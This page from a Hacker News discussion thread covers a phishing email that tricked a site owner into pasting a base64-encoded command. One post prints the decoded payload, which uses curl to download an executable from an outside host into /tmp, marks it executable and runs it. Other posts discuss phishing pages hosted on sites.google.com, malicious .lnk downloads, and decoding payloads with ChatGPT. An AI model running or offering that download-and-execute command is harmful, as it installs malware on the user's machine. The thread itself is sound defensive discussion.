Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

The scariest "user support" email I've received

devas.life

Post reply on HN
Print view View original

131–140 of 267 posts

Re: The scariest "user support" email I've received

#131

Post by [deleted] »

potato3732842 wrote: post #108
nneonneo wrote: post #96

Earlier quoted context omitted.

Better yet - ChatGPT didn't actually decode the blob accurately. It nails the URL, but manages somehow to get the temporary filename completely wrong (the actual filename is /tmp/pjKmMUFEYv8AlfKR, but ChatGPT says /tmp/lRghl71wClxAGs). It's possible the screenshot is from a different payload, but I'm more inclined to believe that ChatGPT just squinted and made up a plausible /tmp/ filename. In this case it doesn't ma…

Very common for these sorts of things to give different payloads to different user agents.

[deleted]

Re: The scariest "user support" email I've received

#132

Post by exasperaited »

firen777 wrote: post #117
tantalor wrote: post #4

> as ChatGPT confirmed when I asked it to analyze it lol we are so cooked

just feed the thing to any base64 decoder like cyberchef: https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D'... Isn't it just basic problem solving skill? We gonna let AI do the thinky bit for us now?

Why are you gatekeeping the thinky bit? /s

Re: The scariest "user support" email I've received

#133

Post by jkingsman »

frenchtoast8 wrote: post #19

I'm seeing a lot more of these phishing links relying on sites.google.com . Users are becoming trained to look at the domain, which appears correct to them. Is it a mistake of Google to continue to let people post user content on a subdomain of their main domain?

Correlated data: sites.google.com has been blocked via machine policy at multiple workplaces I've come into contact with.

Re: The scariest "user support" email I've received

#135

Post by blackjackfoe »

I run a small, extremely niche fan site with under 500 users, and I received a very similar email the other day - someone complaining about the "cookie popup" (which my site doesn't have), and then sending me a "screenshot" in a sites.google.com link when I told them I don't know what they're talking about.

Only difference is that it downloaded a .zip file containing a shortcut (.lnk) file which contained commands to download and execute the malicious code.

Re: The scariest "user support" email I've received

#136

Post by thaumasiotes »

nijave wrote: post #105
notRobot wrote: post #21

Earlier quoted context omitted.

Isn't analysing and writing bits of code one of the few things LLMs are actually good at and useful for (as opposed to creative writing or whatever). Before LLMs if someone wasn't familiar with deobfuscation they would have no easy way to analyse the attack string as they were able to do here.

The "old fashioned" way was to post on an internet message board or internet chatroom and let someone else decode it.

In this case the old-fashioned way is to decode it yourself. It's a very short blob of base64, and if you don't recognize it, that doesn't matter, because the command explicitly passes it to `base64 -d`.

Decoded:

    curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha;
    chmod +x /tmp/pjKmMUFEYv8AlfKR;
    /tmp/pjKmMUFEYv8AlfKR
This isn't exactly obfuscated. Download an executable file, make it executable, and then execute it.

Re: The scariest "user support" email I've received

#138

Post by VladVladikoff »

frenchtoast8 wrote: post #19

I'm seeing a lot more of these phishing links relying on sites.google.com . Users are becoming trained to look at the domain, which appears correct to them. Is it a mistake of Google to continue to let people post user content on a subdomain of their main domain?

It’s interesting how these big tech companies are playing a role in all these scams. I do a fair amount of paid ads on Facebook, and I get probably about 20 phishing messages a day via Facebook channels; trying to get me to install fake Facebook ads management apps (iOS TestFlight), or leading me to Facebook.com urls that are phishing pages via facebooks custom page designer. These messages come through Facebook, use facebooks own infrastructure to host their payloads, and use language which Facebook would know should only come from their own official channels. How is this not super easy for Facebook to block?? I can only explain it as sheer laziness/lack of care.

Re: The scariest "user support" email I've received

#139

Post by [deleted] »

tgsovlerkhgsel wrote: post #79
wvbdmp wrote: post #67

In Windows CMD you don’t even need to hit return at the end. They can just add a line break to the copied text and as soon as you paste into the command line (just a right click!), you own yourself. I have one question though: Considering the scare-mongering about Windows 10’s EOL, this seems pretty convoluted. I thought bad guys could own your machine by automatic drive-by downloads unless you’re absolutely on the l…

I'm sure "visit a site and get exploited" happens, but... I haven't actually heard of a single concrete case outside of nation-state attacks. What's more baffling is that I also haven't heard of any Android malware that does this, despite most phones out there having several publicly known exploits and many phones not receiving any updates. I can't really explain it except "social engineering like this works so well…

[deleted]

Re: The scariest "user support" email I've received

#140

Post by lukeschlather »

flexagoon wrote: post #124
lukeschlather wrote: post #103

Earlier quoted context omitted.

Running it through ChatGPT and asking for its thoughts is a free action. Base64 decoding something that I know to be malicious code that's trying to execute on my machine, that's worrisome. I may do it eventually, but it's not the first thing I would like to do. Really I would prefer not to base64 decode that payload at all, if someone who can't accidentally execute malicious code could do it, that sounds preferable.…

Huh? How would decoding a base64 string accidentally run the payload?

I'm copy-pasting something that is intended to be copy-pasted into a terminal and run. The first tool I'm going to reach for to base64 decode something is a terminal, which is obviously the last place I should copy-paste this string. Nothing wrong with pasting it into ChatGPT.

When I come across obviously malicious payloads I get a little paranoid. I don't know why copy-pasting it somewhere might cause a problem, but ChatGPT is something where I'm pretty confident it won't do an RCE on my machine. I have less confidence if I'm pasting it into a browser or shell tool. I guess maybe writing a python script where the base64 is hardcoded, that seems pretty safe, but I don't know what the person spear phishing me has thought of or how well resourced they are.

Post reply on HN